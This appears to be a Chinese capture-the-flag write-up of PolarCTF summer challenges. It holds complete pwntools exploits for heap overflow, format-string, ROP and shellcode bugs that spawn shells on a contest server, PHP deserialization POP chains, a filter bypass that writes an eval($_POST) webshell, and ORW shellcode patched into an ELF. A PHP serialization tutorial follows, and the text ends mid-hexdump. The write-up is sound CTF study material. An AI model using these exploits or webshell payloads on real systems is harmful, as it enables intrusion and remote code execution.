2025年夏季个人挑战赛pwnmagichouse经典堆题。主函数int __fastcall main(int argc, const char **argv, const char **envp) { void (**v4)(void); // [rsp+8h] [rbp-18h] char buf[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v6; // [rsp+18h] [rbp-8h] v6 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); v4 = malloc(0x10uLL); *v4 = hello_message; v4[1] = goodbye_message; (*v4)(); while ( 1 ) { menu(); read(0, buf, 8uLL); switch ( atoi(buf) ) { case 1: show_gift(); break; case 2: add_gift(); break; case 3: change_gift(); break; case 4: remove_gift(); break; case 5: v4[1](); exit(0); default: puts("invaild choice!!!"); break; } } }编辑函数存在堆溢出,编辑时可以输入任意长度字符串。unsigned __int64 change_gift() { int v1; // [rsp+4h] [rbp-2Ch] int v2; // [rsp+8h] [rbp-28h] char buf[16]; // [rsp+10h] [rbp-20h] BYREF char nptr[8]; // [rsp+20h] [rbp-10h] BYREF unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); if ( num ) { printf("Please enter the index of gift:"); read(0, buf, 8uLL); v1 = atoi(buf); if ( *(&unk_6020C8 + 2 * v1) ) { printf("Please enter the length of gift name:"); read(0, nptr, 8uLL); v2 = atoi(nptr); printf("Please enter the new name of the gift:"); *(*(&unk_6020C8 + 2 * v1) + read(0, *(&unk_6020C8 + 2 * v1), v2)) = 0; //漏洞点 } else { puts("invaild index"); } } else { puts("No gift in the house"); } return __readfsqword(0x28u) ^ v5; }通过溢出修改fastbin的fd实现任意地址写，本题目pie没开，可以直接写到堆块地址管理区。add(0x68,'aaaa') add(0x68,'bbbb') add(0x68,'/bin/sh\x00') free(1) edit(0,0x88,"a"*0x60+p64(0)+p64(0x78)+p64(0x6020ad)) add(0x68,'dddd') 修改堆块地址到got表泄露libc。add(0x68,'\x00'*3+p64(0x68)+p64(elf.got['puts'])) show()修改__free_hook为system地址，free一个/bin/sh字符串rce。#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./magichouse') #gdb.attach(r,"b * 0x40138a") gdb.attach(r,"b * menu") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r = remote('1.95.36.136',2114) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./magichouse') def add(name,gift): r.recvuntil("choice:") r.sendline("2") r.recvuntil("name:") r.sendline(str(name)) r.recvuntil("gift:") r.sendline(gift) def edit(index,size,Content): r.recvuntil("choice:") r.sendline("3") r.recvuntil("gift:") r.sendline(str(index)) r.recvuntil("name:") r.sendline(str(size)) r.recvuntil("gift:") r.sendline(Content) def free(index): r.recvuntil("choice:") r.sendline("4") r.recvuntil("gift:") r.sendline(str(index)) def show(): r.recvuntil("choice:") r.sendline("1") add(0x68,'aaaa') add(0x68,'bbbb') add(0x68,'/bin/sh\x00') free(1) edit(0,0x88,"a"*0x60+p64(0)+p64(0x78)+p64(0x6020ad)) add(0x68,'dddd') add(0x68,'\x00'*3+p64(0x68)+p64(elf.got['puts'])) show() r.recvuntil("0 : ") puts = u64(r.recv(6)+'\x00\x00') log.success("puts:"+hex(puts)) libc_addr = puts - libc.symbols['puts'] system = libc_addr + libc.symbols['system'] edit(3,0x68,'\x00'*3+p64(0x68)+p64(libc_addr + libc.symbols['__free_hook'])) edit(0,0x68,p64(system)) free(2) r.interactive()bllhl_pieee漏洞点在input()函数。unsigned __int64 input() { char v1[112]; // [rsp+0h] [rbp-270h] BYREF char buf[504]; // [rsp+70h] [rbp-200h] BYREF unsigned __int64 v3; // [rsp+268h] [rbp-8h] v3 = __readfsqword(0x28u); read(0, buf, 0x20uLL); printf(buf); gets(v1); return __readfsqword(0x28u) ^ v3; }格式化字符串依次泄露栈、canary、pie地址。把/bin/sh字符串写在rop链后面，写在前面会被system函数的栈覆盖掉。#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./bllhl_pieee') gdb.attach(r,"b * $rebase(0xAe8)") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r = remote('1.95.36.136',2136) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./bllhl_pieee') r.recvuntil("shell?") r.send("no") sleep(1) r.send("%p%83$p%85$p/bin/sh") r.recvuntil("good!!!") stack = int(r.recv(14),16) canary = int(r.recv(18),16) pie = int(r.recv(14),16) - 0xbc6 rdi = pie + 0xc53 system = pie + elf.symbols['system'] binsh = stack +0x220 log.success("stack:"+hex(stack)) log.success("canary:"+hex(canary)) log.success("pie:"+hex(pie)) r.sendline( "a"*(0x268) +p64(canary)+p64(0xdeadbeef)+p64(rdi)+p64(binsh)+p64(system)+ "/bin/sh\x00") r.interactive()bllbl_shellcode4bss段可执行，sub_401306()函数有栈溢出，题目提供了/bin/sh字符串。int sub_401306() { char buf[9]; // [rsp+7h] [rbp-9h] BYREF puts("bllbl say: "); printf("welcome to PolarCTF Summer Games"); read(0, buf, 0x24uLL); return printf("okok"); }栈迁移到bss段，写入9(溢出位)+8(rbp)长度的微小shellcode rce。#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./bllbl_shellcode4') gdb.attach(r,"b * 0x401360") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r = remote('1.95.36.136',2060) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./bllbl_shellcode4') r.recvuntil("Games") r.send("a"*9+p64(0x404300)+p64(0x401335)) r.recvuntil("okok") sc = asm("mov al,0x3b;mov edi,0x40203f;xor rsi,rsi;mov rdx,rsi;syscall;") r.send(sc + 'a'*(17-len(sc))+p64(0x404300-9)) r.interactive()polarmagicheap堆题，依旧是编辑函数堆溢出。unsigned __int64 edit_heap() { int v1; // [rsp+4h] [rbp-1Ch] __int64 v2; // [rsp+8h] [rbp-18h] char buf[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4uLL); v1 = atoi(buf); if ( (unsigned int)v1 >= 0xA ) { puts("Out of bound!"); _exit(0); } if ( *(&heaparray + v1) ) { printf("Size of Heap : "); read(0, buf, 8uLL); v2 = atoi(buf); printf("Content of heap : "); read_input(*(&heaparray + v1) v2); // 漏洞在此 puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u) ^ v4; }劫持atoi()，函数为system()函数rce。#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./polarmagicheap') #gdb.attach(r,"b * 0x40138a") gdb.attach(r,"b * menu") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r = remote('1.95.36.136',2117) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./polarmagicheap') def add(size,Content): r.recvuntil("choice :") r.sendline("1") r.recvuntil("Heap :") r.sendline(str(size)) r.recvuntil("heap:") r.send(Content) def edit(index,size,Content): r.recvuntil("choice :") r.sendline("2") r.recvuntil("Index :") r.sendline(str(index)) r.recvuntil("Heap :") r.sendline(str(size)) r.recvuntil("heap :") r.send(Content) def free(index): r.recvuntil("choice :") r.sendline("3") r.recvuntil("Index :") r.sendline(str(index)) add(0x68,'aaaa') add(0x68,'bbbb') add(0x68,'/bin/sh\x00') free(1) edit(0,0x88,"a"*0x60+p64(0)+p64(0x78)+p64(0x6020ad)) add(0x68,'dddd') add(0x68,'\x00'*0x23+p64(0x6020e8)) edit(0,8,p64(elf.got['free'])) edit(1,8,p64(elf.symbols['puts'])) edit(0,8,p64(elf.got['puts'])) free(1) puts = u64(r.recv(6)+'\x00\x00') log.success("puts:"+hex(puts)) libc_addr = puts - libc.symbols['puts'] system = libc_addr + libc.symbols['system'] edit(0,8,p64(elf.got['atoi'])) edit(1,8,p64(system)) r.send("/bin/sh") r.interactive()flow栈溢出，漏洞点在char *__cdecl xxx(char *s) { char dest[20]; // [esp+7h] [ebp-21h] BYREF unsigned __int8 v3; // [esp+1Bh] [ebp-Dh] int v4; // [esp+1Ch] [ebp-Ch] printf("hello hacker!"); v3 = strlen(s); if ( v3 <= 1u || v3 > 9u ) { printf("no"); } else { printf("good!"); return strcpy(dest, s); } return (char *)v4; }输入长度在0x102至0x109就可以溢出不出发waf。#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'i386' local = 0 if local == 1: r=process('./flow') gdb.attach(r,"b * 0x80487D8") #gdb.attach(r,"b * menu") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r = remote('1.95.36.136',2094) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./flow') r.recvuntil('name') r.send('a'*8) r.recvuntil("going?") r.sendline('3') r.recvuntil("shell:") payload = cyclic(37) + p32(elf.symbols['system']) + p32(elf.symbols['system']) + p32(elf.search('/bin/sh').next()) r.send(payload + 'a'*(0x105-len(payload))) r.interactive()bllhl_double_free编辑函数堆溢出。ssize_t edit_chunk() { int num; // [rsp+8h] [rbp-8h] int v2; // [rsp+Ch] [rbp-4h] puts("index:"); num = get_num(); puts("length:"); v2 = get_num(); puts("content:"); return read(0, (&chunk_list)[num], v2); //漏洞点 }将0x6020D0地址覆盖为520 getshell。#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./bllhl_double_free') #gdb.attach(r,"b * 0x40138a") gdb.attach(r,"b * menu") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r = remote('1.95.36.136',2125) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./bllhl_double_free') def add(index,size): r.recvuntil("choice:") r.sendline("1") r.recvuntil("index:") r.sendline(str(index)) r.recvuntil("size:") r.sendline(str(size)) def edit(index,size,Content): r.recvuntil("choice:") r.sendline("3") r.recvuntil("index:") r.sendline(str(index)) r.recvuntil("length:") r.sendline(str(size)) r.recvuntil("content:") r.send(Content) def free(index): r.recvuntil("choice:") r.sendline("2") r.recvuntil("index:") r.sendline(str(index)) add(0,0x68) add(1,0x68) add(2,0x68) free(1) edit(0,0x88,"a"*0x60+p64(0)+p64(0x78)+p64(0x6020bc)) add(3,0x68) add(4,0x68) edit(4,0x88,"a"*4+p64(520)) r.recvuntil("choice:") r.sendline(5) r.interactive()gadget一次任意地址读，一次任意地址执行。int __fastcall main(int argc, const char **argv, const char **envp) { __int64 (*v4)(void); // [rsp+8h] [rbp-28h] BYREF _QWORD buf[4]; // [rsp+10h] [rbp-20h] BYREF buf[3] = __readfsqword(0x28u); init(argc, argv, envp); puts(s); puts( "鈻堚枅鈺斺晲鈺愨枅鈻堚晽鈻堚枅鈺斺晲鈺愨晲鈻堚枅鈺椻枅鈻堚晳 鈻堚枅鈺斺晲鈺愨枅鈻堚晽鈻堚枅鈺斺晲鈺愨枅鈻堚晽\n"); puts(asc_400BA8); puts(asc_400C18); puts(asc_400C88); puts(asc_400CF8); setbuf(stdout, 0LL); printf("welcome to polar challenge"); puts("You need an address."); __isoc99_scanf("%ld", &v4); read(0, buf, 0x10uLL); if ( buf[0] != 520LL ) return 0; printf("the gift for you: 0x%016lx\n", *(_QWORD *)v4); printf("Here is the address you want to go to."); puts("you need to use"); __isoc99_scanf("%ld", &v4); puts("polar"); puts(s); puts( "鈻堚枅鈺斺晲鈺愨枅鈻堚晽鈻堚枅鈺斺晲鈺愨晲鈻堚枅鈺椻枅鈻堚晳 鈻堚枅鈺斺晲鈺愨枅鈻堚晽鈻堚枅鈺斺晲鈺愨枅鈻堚晽\n"); puts(asc_400BA8); puts(asc_400C18); puts(asc_400C88); puts(asc_400CF8); return v4(); }读got表，执行one_gadget。#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./gadget') gdb.attach(r,"b * 0x400A1C") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r = remote('1.95.36.136',2066) libc = ELF('./libc.so') elf = ELF('./gadget') r.recvuntil("address.") r.sendline(str(elf.got['puts'])) sleep(1) r.send(p64(520)) r.recvuntil("the gift for you: ") puts = int(r.recv(18),16) libc_addr = puts - libc.symbols['puts'] log.success("puts:"+hex(puts)) r.sendline(str(libc_addr + 0x45216)) r.interactive()format格式化字符串改n，gets()栈溢出拿shell。int input() { char buf[264]; // [esp+0h] [ebp-108h] BYREF puts("hello hacker!"); read(0, buf, 0x50u); printf(buf); if ( n == 4 ) return back(); else return printf("NO!"); }char *back() { char s[24]; // [esp+0h] [ebp-18h] BYREF puts("666!"); return gets(s); }exp如下#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'i386' local = 0 if local == 1: r=process('./format') gdb.attach(r,"b * 0x8048739") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r = remote('1.95.36.136',2066) libc = ELF('./libc.so') elf = ELF('./format') r.recvuntil("shell?") r.send("no") r.recvuntil("hacker!") r.send(p32(0x804A06C)+"%4$n") r.recvuntil("666") r.sendline("a"*24+p32(0xdeadbeef)+p32(elf.symbols['gets'])+p32(elf.symbols['system'])+p32(0x804a500)+p32(0x804a500)) r.interactive()web渗透之王dirsearch扫描结果[11:08:18] Starting: [11:08:21] 403 - 318B - /.ht_wsr.txt [11:08:21] 403 - 318B - /.htaccess.bak1 [11:08:21] 403 - 318B - /.htaccess.sample [11:08:21] 403 - 318B - /.htaccess.orig [11:08:21] 403 - 318B - /.htaccess_orig [11:08:21] 403 - 318B - /.htaccess.save [11:08:21] 403 - 318B - /.htaccess_extra [11:08:21] 403 - 318B - /.htaccessOLD [11:08:21] 403 - 318B - /.htaccessBAK [11:08:21] 403 - 318B - /.htaccess_sc [11:08:21] 403 - 318B - /.html [11:08:21] 403 - 318B - /.htaccessOLD2 [11:08:21] 403 - 318B - /.htpasswds [11:08:21] 403 - 318B - /.htm [11:08:21] 403 - 318B - /.htpasswd_test [11:08:21] 403 - 318B - /.httr-oauth [11:08:27] 200 - 260B - /admin.php [11:08:53] 403 - 318B - /server-status [11:08:53] 403 - 318B - /server-status/ [11:09:00] 200 - 2KB - /www.zipadmin.php内容为，解码为polarctf。我的文件喜欢加密 cG9sYXJjdGY=用这个密码解密www.zip，得到一个字典，用bp爆破密码为admin789。登录进入下一环节，dirsearch结果如下。[11:57:16] 403 - 318B - /polarctf/.ht_wsr.txt [11:57:16] 403 - 318B - /polarctf/.htaccess.orig [11:57:17] 403 - 318B - /polarctf/.htaccess.bak1 [11:57:17] 403 - 318B - /polarctf/.htaccess.save [11:57:17] 403 - 318B - /polarctf/.htaccess.sample [11:57:17] 403 - 318B - /polarctf/.htaccess_extra [11:57:17] 403 - 318B - /polarctf/.htaccessBAK [11:57:17] 403 - 318B - /polarctf/.htaccessOLD [11:57:17] 403 - 318B - /polarctf/.htaccess_sc [11:57:17] 403 - 318B - /polarctf/.htaccessOLD2 [11:57:17] 403 - 318B - /polarctf/.htaccess_orig [11:57:17] 403 - 318B - /polarctf/.html [11:57:17] 403 - 318B - /polarctf/.htm [11:57:17] 403 - 318B - /polarctf/.htpasswd_test [11:57:17] 403 - 318B - /polarctf/.htpasswds [11:57:17] 403 - 318B - /polarctf/.httr-oauth [11:57:21] 200 - 1KB - /polarctf/about.php [11:57:33] 200 - 1KB - /polarctf/contact.php [11:57:58] 200 - 2KB - /polarctf/upload.phpupload.php是一个上传页面，花式绕过，访问webshell getshell。狗黑子的变量这题可以看做0字母命令执行（剩下那个PATH没啥用了），在终端中可以将8进制数字转换为对应字母并执行。例如ls 可以通过$'\154\163' 的方式进行执行。<?php error_reporting(0); highlight_file(__FILE__); $gou = $_GET["gou"]; $gou = str_replace(['~', '^', '_'], '', $gou); $hei = array('Q', 'W', 'E', 'R', 'Y', 'U', 'I', 'O', 'S', 'D', 'F', 'G', 'J', 'K', 'L', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', 'q', 'w', 'e', 'r', 'y', 'u', 'i', 'o', 's', 'd', 'f', 'g', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm'); $heizi = str_ireplace($hei, '', $gou); if ($heizi !== $gou) { die("heizi"); } system($gou); ?>用$'\154\163' ../找到flag.php <?php error_reporting(0); highlight_file(__FILE__); $gou = $_GET["gou"]; $gou = str_replace(['~', '^', '_'], '', $gou); $hei = array('Q', 'W', 'E', 'R', 'Y', 'U', 'I', 'O', 'S', 'D', 'F', 'G', 'J', 'K', 'L', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', 'q', 'w', 'e', 'r', 'y', 'u', 'i', 'o', 's', 'd', 'f', 'g', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm'); $heizi = str_ireplace($hei, '', $gou); if ($heizi !== $gou) { die("heizi"); } system($gou); ?> flag.php html logs modules run 用$'\143\141\164' ../??a*读取flag <?php error_reporting(0); highlight_file(__FILE__); $gou = $_GET["gou"]; $gou = str_replace(['~', '^', '_'], '', $gou); $hei = array('Q', 'W', 'E', 'R', 'Y', 'U', 'I', 'O', 'S', 'D', 'F', 'G', 'J', 'K', 'L', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', 'q', 'w', 'e', 'r', 'y', 'u', 'i', 'o', 's', 'd', 'f', 'g', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm'); $heizi = str_ireplace($hei, '', $gou); if ($heizi !== $gou) { die("heizi"); } system($gou); ?> flag{Tung Tung Tung Sahur} easyRead反序列化<?php Class Read{ public $source; public $is; public function __toString() { return $this->is->run("Read"); } public function __wakeup(){ echo "Hello>>>".$this->source; } } class Help{ public $source; public $str; public function Printf($what){ echo "Hello>>>".$what; echo " "; return $this->str->source; } public function __call($name, $arguments){ $this->Printf($name); } } class Polar { private $var; public function getit($value){ eval($value); } public function __invoke(){ $this->getit($this->var); } } class Doit{ public $is; private $source; public function __construct(){ $this->is = array(); } public function __get($key){ $vul = $this->is; return $vul(); } } if(isset($_GET['polar'])){ @unserialize($_GET['polar']); } else{ highlight_file(__FILE__); }利用链如下Read __wakeup ---> Read __toString ---> Help __call ---> Help __Printf ---> Doit __get ---> Polarexp<?php Class Read{ public $source; public $is; public function __construct(){ $this->is = new Help; //$this->source = new Read; } public function __toString() { return $this->is->run("Read"); } public function __wakeup(){ echo "Hello>>>".$this->source; } } class Help{ public $source; public $str; public function __construct(){ $this->str = new Doit; $this->source = 'a'; } public function Printf($what){ echo "Hello>>>".$what; echo " "; return $this->str->source; } public function __call($name, $arguments){ $this->Printf($name); } } class Polar { private $var = 'eval($_POST["a"]);'; public function getit($value){ eval($value); } public function __invoke(){ $this->getit($this->var); } } class Doit{ public $is; private $source; public function __construct(){ $this->is = new Polar; } public function __get($key){ $vul = $this->is; return $vul(); } } $read = new Read(); $read->source = new Read(); echo urlencode(serialize($read));实施expO%3A4%3A%22Read%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Read%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A2%3A%22is%22%3BO%3A4%3A%22Help%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A1%3A%22a%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Doit%22%3A2%3A%7Bs%3A2%3A%22is%22%3BO%3A5%3A%22Polar%22%3A1%3A%7Bs%3A10%3A%22%00Polar%00var%22%3Bs%3A18%3A%22eval%28%24_POST%5B%22a%22%5D%29%3B%22%3B%7Ds%3A12%3A%22%00Doit%00source%22%3BN%3B%7D%7D%7Ds%3A2%3A%22is%22%3BO%3A4%3A%22Help%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A1%3A%22a%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Doit%22%3A2%3A%7Bs%3A2%3A%22is%22%3BO%3A5%3A%22Polar%22%3A1%3A%7Bs%3A10%3A%22%00Polar%00var%22%3Bs%3A18%3A%22eval%28%24_POST%5B%22a%22%5D%29%3B%22%3B%7Ds%3A12%3A%22%00Doit%00source%22%3BN%3B%7D%7D%7D狗黑子的隐藏一顿绕过找到了题目的源码c''at *。<?php // 检查是否有POST请求且包含cmd参数 if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['cmd'])) { $cmd = $_POST['cmd']; // 强制切换到当前目录（重要安全措施） chdir(dirname(__FILE__)); // 过滤危险字符和关键字 $blacklist = array('f','g','cat', 'flag', '&', '|', '`','{', '}','in','nd','de','ex','head','tac','le','ss','mo','re','..','/','\\'); $is_dangerous = false; // 检查命令是否包含黑名单中的任何项 foreach ($blacklist as $item) { if (stripos($cmd, $item) !== false) { $is_dangerous = true; break; } } // 如果检测到危险操作，回显错误信息 if ($is_dangerous) { echo "不支持危险操作"; } else { // 检查过滤后的命令是否为空 if (!empty($cmd)) { // 执行过滤后的命令 system($cmd); } } } ?>写入webshell，getshell flag在上级目录flag.php。cmd=echo '<?php eval($_POST["a"]);?>' >a.phpnukaka_ser2题目源码 <?php class FlagReader { private $logfile = "/tmp/log.txt"; protected $content = "<?php system(\$_GET['cmd']); ?>"; public function __toString() { if (file_exists('/flag')) { return file_get_contents('/flag'); } else { return "Flag file not found!"; } } } class DataValidator { public static function check($input) { $filtered = preg_replace('/[^\w]/', '', $input); return strlen($filtered) > 10 ? true : false; } public function __invoke($data) { return self::check($data); } } class FakeDanger { private $buffer; public function __construct($data) { $this->buffer = base64_encode($data); } public function __wakeup() { if (rand(0, 100) > 50) { $this->buffer = str_rot13($this->buffer); } } } class VulnerableClass { public $logger; private $debugMode = false; public function __destruct() { if ($this->debugMode) { echo $this->logger; } else { $this->cleanup(); } } private function cleanup() { if ($this->logger instanceof DataValidator) { $this->logger = null; } } } function sanitize_input($data) { $data = trim($data); return htmlspecialchars($data, ENT_QUOTES); } if(isset($_GET['data'])) { $raw = base64_decode($_GET['data']); if (preg_match('/^[a-zA-Z0-9\/+]+={0,2}$/', $_GET['data'])) { unserialize($raw); } } else { highlight_file(__FILE__); } ?> 构造反序列化链。VulnerableClass --->logger FlagReader FlagReader ---> cat flagexp <?php class FlagReader { private $logfile = "/tmp/log.txt"; protected $content = "<?php system(\$_GET['cmd']); ?>"; public function __toString() { if (file_exists('/flag')) { return file_get_contents('/flag'); } else { return "Flag file not found!"; } } } class DataValidator { public static function check($input) { $filtered = preg_replace('/[^\w]/', '', $input); return strlen($filtered) > 10 ? true : false; } public function __invoke($data) { return self::check($data); } } class FakeDanger { private $buffer; public function __construct($data) { $this->buffer = base64_encode($data); } public function __wakeup() { if (rand(0, 100) > 50) { $this->buffer = str_rot13($this->buffer); } } } class VulnerableClass { public $logger; private $debugMode = true; public function __destruct() { if ($this->debugMode) { echo $this->logger; } else { $this->cleanup(); } } private function cleanup() { if ($this->logger instanceof DataValidator) { $this->logger = null; } } } $a = new VulnerableClass; $a->logger = new FlagReader; echo base64_encode(serialize($a));exp输出[binary]
php反序列化PHP的类 类的内部类的子部类的外部public√√√protected√√×private√××<?php class person{ public $name = "a"; protected $age = 12; private $password = "123456"; } $qng = new person(); echo $qng->name; //ok echo $qng->age; //no echo $qng->password //no ?>PHP序列化单类型null : N; 666 : i:666; 66.6 : d:66.6; true : b:1; false: b:0; "qng": s:3:"qng";数组<?php $qng2 = array("aaaa","bbbb","cccc"); echo serialize($qng2); ?>结果a(array):3(数量):{i:0(索引);s:4:"aaaa";i:1;s:4:"bbbb";i:2;s:4:"cccc";}对象<?php class person{ public $name = "a"; protected $age = 12; private $password = "123456"; function wsqng(){ echo $name; } } $qng = new person(); $qng->name = "qng"; echo serialize($qng); ?>结果O:6(类名长度):"person":3(成员数量):{s:4:"name";s:3:"qng";s:6:"*age";i:12;s:16:"personpassword";s:6:"123456";}private属性修饰符为 %00类名%00protected 属性修饰符为 %00*%00对象成员为对象<?php class person{ public $name = "a"; protected $age = 12; private $password = "123456"; function wsqng(){ echo $name; } } class xhc{ var $me ; function __construct(){ $this-> me=new person(); } } $qng = new xhc(); $qng->name = "qng"; echo serialize($qng); ?>结果O:3:"xhc":2:{s:2:"me";O:6:"person":3:{s:4:"name";s:1:"a";s:6:"*age";i:12;s:16:"personpassword";s:6:"123456";}s:4:"name";s:3:"qng";}如果对象属性为对象，在序列化中，该属性内容为对应对象的反序列化。魔术方法__construct()构造函数，在实例化一个对象的时候，首先会去自动执行的一个方法。<?php class person{ public $name = "a"; protected $age = 12; private $password = "123456"; function wsqng(){ echo $age; } function __construct(){ echo $this->name; } } $qng = new person(); //可触发__construct $qng->name = "qng"; $qngser = serialize($qng); //不可触发__construct $qngunser = unserialize($qngser); //不可触发__construct ?>__destruct()析构函数，在对象的所引用被删除或者当对象被显示销毁时执行的魔术方法。<?php class person{ public $name = "a"; protected $age = 12; private $password = "123456"; function wsqng(){ echo $age; } function __destruct(){ echo $this->name; } } $qng = new person(); //单独不可触发__destruct $qng->name = "qng"; $qngser = serialize($qng); //可将上一个触发__destruct $qngunser = unserialize($qngser); //可触发__destruct ?>得到结果qngqng__sleep()serialize()会检查类中是否存在__sleep()魔术方法，如果存在，调用执行。__sleep()执行时需要返回序列化的变量名，返回哪些留下哪些。<?php class person{ public $name = "a"; public $age = 12; public $password = "123456"; function wsqng(){ echo $age; } function __sleep(){ return array('name','age'); } } $qng = new person(); $qng->name = "qng"; $qngser = serialize($qng); echo $qngser; ?>输出没有了password。O:6:"person":2:{s:4:"name";s:3:"qng";s:3:"age";i:12;}__wakeup()unserialize()会检查类中是否存在__wakeup()魔术方法，如果存在，调用执行。__wakeup()执行时需要返回序列化的变量名，返回哪些留下哪些。<?php class person{ public $name = "a"; public $age = 12; public $password = "123456"; public function __wakeup(){ $this->age = 888888; } } $qng = new person(); $qng->name = "qng"; $qng->age = 66; $qngser = serialize($qng); $qngunser = unserialize($qngser); var_dump($qngunser); ?>输出age变成了888888。object(person)#2 (3) { ["name"]=> string(3) "qng" ["age"]=> int(888888) ["password"]=> string(6) "123456" } __toString()把对象当作字符串调用会触发__toString()<?php class person{ public $name = "a"; public $age = 12; public $password = "123456"; public function __toString(){ return "I'm qng"; } } $qng = new person(); $qng->name = "qng"; $qng->age = 66; print_r($qng); //person Object ( [name] => qng [age] => 66 [password] => 123456 ) echo $qng; //I'm qng ?>显示person Object ( [name] => qng [age] => 66 [password] => 123456 ) I'm qng__invoke()把对象当作函数调用会触发__invoke()<?php class person{ public $name = "a"; public $age = 12; public $password = "123456"; public function __invoke(){ echo "I'm qng"; } } $qng = new person(); $qng->name = "qng"; $qng->age = 66; print_r($qng); //person Object ( [name] => qng [age] => 66 [password] => 123456 ) $qng(); //I'm qng ?>__call()调用了一个不存在的方法。<?php class person{ public $name = "a"; public $age = 12; public $password = "123456"; public function __call($arg1,$arg2){ echo $arg1; var_dump($arg2); } } $qng = new person(); $qng->name = "qng"; $qng->qng("callqng"); ?>显示qngarray(1) { [0]=> string(7) "callqng" } __callStatic()静态调用或调用成员常量时使用不存在的方法。<?php class person{ public $name = "a"; public $age = 12; public $password = "123456"; public function __callStatic($arg1,$arg2){ echo $arg1; var_dump($arg2); } } $qng = new person(); $qng->name = "qng"; $qng :: qng("callqng"); ?>显示qngarray(1) { [0]=> string(7) "callqng" } __get()调用成员属性不存在时触发，并把不存在的属性名传递进来。<?php class person{ public $name = "a"; public $age = 12; public $password = "123456"; public function __get($arg1){ echo $arg1; } } $qng = new person(); $qng->xhc; ?>显示xhc__set()给不存在的成员属性赋值时触发，并把不存在的属性名和内容传递进来。<?php class person{ public $name = "a"; public $age = 12; public $password = "123456"; public function __set($arg1,$arg2){ echo $arg1; echo $arg2; } } $qng = new person(); $qng->xhc = "qng"; ?>显示xhcqng__isset()给不存在或不可访问的成员属性使用isset()。<?php class person{ public $name = "a"; public $age = 12; private $password = "123456"; public function __isset($arg1){ echo $arg1; } } $qng = new person(); isset($qng->xhc); isset($qng->password); ?>显示xhcpassword__clone()对对象使用clone，新对象会触发一个__clone()。<?php class person{ public $name = "a"; public $age = 12; private $password = "123456"; public function __clone(){ echo $this->password; } } $qng = new person(); $qng2 = clone($qng); ?>显示123456
开发与运维基础哦不！我的libc！题目说环境没有libc，那就需要一个不需要libc就能执行的可执行文件，用纯汇编写一段orw。 # 将/flag.txt字符串写入栈并将地址保存到r11寄存器 mov r10,0x74; push r10; mov r10,0x78742E67616C662f; push r10; mov r11,rsp; # 构造sys_open 打开/flag.txt sub rsp,0x100; mov rax,2; mov rdi,r11; xor rsi,rsi; mov rdx,rsi; syscall; # 构造sys_read 读取/flag.txt mov rdi,rax; mov rsi,rsp; mov rdx,0x80; xor rax,rax; syscall; # 构造sys_write 输出/flag.txt mov rdi,1; mov rax,rdi; syscall;生成的shellcodeOffset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000000 49 C7 C2 74 00 00 00 41 52 49 BA 2F 66 6C 61 67 00000010 2E 74 78 41 52 49 89 E3 48 81 EC 00 01 00 00 48 00000020 C7 C0 02 00 00 00 4C 89 DF 48 31 F6 48 89 F2 0F 00000030 05 48 89 C7 48 89 E6 48 C7 C2 80 00 00 00 48 31 00000040 C0 0F 05 48 C7 C7 01 00 00 00 48 89 F8 0F 05 发现用什么工具编译都不能弄出不依赖libc的东西，静态编译的话又太大。这时想到metasploit编译的meterpreter客户端都短小精悍，一般只有250b，用ida打开发现都是纯纯大汇编。利用winhex将入口（0x78处）的shellcode换成我们的。覆写完的文件hexOffset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000000 7F 45 4C 46 02 01 01 00 00 00 00 00 00 00 00 00 ELF 00000010 02 00 3E 00 01 00 00 00 78 00 40 00 00 00 00 00 > x @ 00000020 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 @ 00000030 00 00 00 00 40 00 38 